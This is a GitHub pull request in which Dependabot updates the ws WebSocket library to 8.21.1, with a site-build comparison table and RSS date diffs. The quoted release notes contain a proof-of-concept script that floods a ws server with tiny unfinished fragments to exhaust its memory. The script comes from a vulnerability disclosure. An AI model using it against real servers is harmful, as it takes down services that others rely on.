Skip to content

chore(deps-dev): bump ws from 8.18.0 to 8.21.1#1164

Open
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.21.1
Open

chore(deps-dev): bump ws from 8.18.0 to 8.21.1#1164
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.21.1

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Jul 14, 2026

Copy link
Copy Markdown
Contributor

Bumps ws from 8.18.0 to 8.21.1.

Release notes

Sourced from ws's releases.

8.21.1

Bug fixes

  • Empty fragments are now counted toward the limit (a2f4e7c0).
  • The default values of the maxBufferedChunks and maxFragments options have been reduced (f197ac65).

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

... (truncated)

Commits
  • ae1de54 [dist] 8.21.1
  • 8e9511b [ci] Trust Coveralls Homebrew tap
  • f197ac6 [fix] Lower default values of maxBufferedChunks and maxFragments
  • 8df8265 [ci] Update actions/checkout action to v7
  • a2f4e7c [fix] Count empty fragments toward the limit (#2329)
  • e79f912 [pkg] Approve install scripts for bufferutil and utf-8-validate
  • 4ea355d [doc] Document 32-bit signed integer coercion for option values
  • 2120f4c [example] Remove uuid dependency
  • 4c534a6 [security] Add latest vulnerability to SECURITY.md
  • bca91ad [dist] 8.21.0
  • Additional commits viewable in compare view

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Bumps [ws](https://github.com/websockets/ws) from 8.18.0 to 8.21.1.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.18.0...8.21.1)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Jul 14, 2026
@dpobel

dpobel commented Jul 14, 2026

Copy link
Copy Markdown
Owner

URL: https://1164.damien.pobel.fr

Stats

Page Online PR version Size online Size local Identical?
Homepage Open Open 12644 12644 ✅️
CSS Open Open 10547 10547 ✅️
Blog
Blog Open Open 8519 8519 ✅️
Post Open Open 9652 9652 ✅️
Enhanced tag page (veille) Open Open 8459 8459 ✅️
Tag page pagination (javascript, page 5) Open Open 10020 10020 ✅️
Tag page (lecteur d'écran) Open Open 6056 6056 ✅️
Tags Open Open 27071 27071 ✅️
CV
CV fr Open Open 29484 29484 ✅️
CV fr pdf Open Open 157360 157360 ✅️
CV Open Open 28561 28561 ✅️
CV en pdf Open Open 133395 133395 ✅️
Pages
Page list Open Open 6558 6558 ✅️
About Open Open 3511 3511 ✅️
Misc
GitHub profile Open Open 2002 2002 ✅️
GitHub page Open Open 11198 11198 ✅️
Images
Resized JPG (660x) Open Open 31210 31210 ✅️
Resized JPG (200x) Open Open 5454 5454 ✅️
Resized PNG (660x) Open Open 52491 52491 ✅️
Resized PNG (200x) Open Open 9256 9256 ✅️
Resized GIF (200x) Open Open 22513 22513 ✅️
RSS feeds (build date should be updated)
RSS Open Open 59700 59700 ❌️
RSS tag Open Open 46582 46582 ❌️
RSS tag fr Open Open 38998 38998 ❌️

Diffs

RSS

--- rss.xml.pretty	2026-07-14 21:49:54.315347335 +0000
+++ ../damien.pobel.fr/web/rss.xml.pretty	2026-07-14 21:49:54.318347331 +0000
@@ -5,7 +5,7 @@
     <description><![CDATA[Derniers posts du blog de Damien Pobel]]></description>
     <link>https://damien.pobel.fr</link>
     <generator>metalsmith-feed</generator>
-    <lastBuildDate>Mon, 11 May 2026 10:18:06 GMT</lastBuildDate>
+    <lastBuildDate>Tue, 14 Jul 2026 21:48:20 GMT</lastBuildDate>
     <atom:link href="https://damien.pobel.fr/rss.xml" rel="self" type="application/rss+xml"/>
     <item>
       <title><![CDATA[React est horrible (React is awful)]]></title>

RSS tag

--- "métier.xml.pretty"	2026-07-14 21:49:55.324346125 +0000
+++ "../damien.pobel.fr/web/rss/métier.xml.pretty"	2026-07-14 21:49:55.326346123 +0000
@@ -5,7 +5,7 @@
     <description><![CDATA[métier]]></description>
     <link>https://damien.pobel.fr</link>
     <generator>metalsmith-feed</generator>
-    <lastBuildDate>Mon, 11 May 2026 10:18:06 GMT</lastBuildDate>
+    <lastBuildDate>Tue, 14 Jul 2026 21:48:20 GMT</lastBuildDate>
     <atom:link href="https://damien.pobel.fr/rss/métier.xml" rel="self" type="application/rss+xml"/>
     <item>
       <title><![CDATA[React est horrible (React is awful)]]></title>

RSS tag fr

--- fr.xml.pretty	2026-07-14 21:49:56.124345168 +0000
+++ ../damien.pobel.fr/web/rss/linux/fr.xml.pretty	2026-07-14 21:49:56.127345164 +0000
@@ -5,7 +5,7 @@
     <description><![CDATA[linux]]></description>
     <link>https://damien.pobel.fr</link>
     <generator>metalsmith-feed</generator>
-    <lastBuildDate>Mon, 11 May 2026 10:18:06 GMT</lastBuildDate>
+    <lastBuildDate>Tue, 14 Jul 2026 21:48:20 GMT</lastBuildDate>
     <atom:link href="https://damien.pobel.fr/rss/linux/fr.xml" rel="self" type="application/rss+xml"/>
     <item>
       <title><![CDATA[Veille de la semaine #19 de 2018]]></title>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant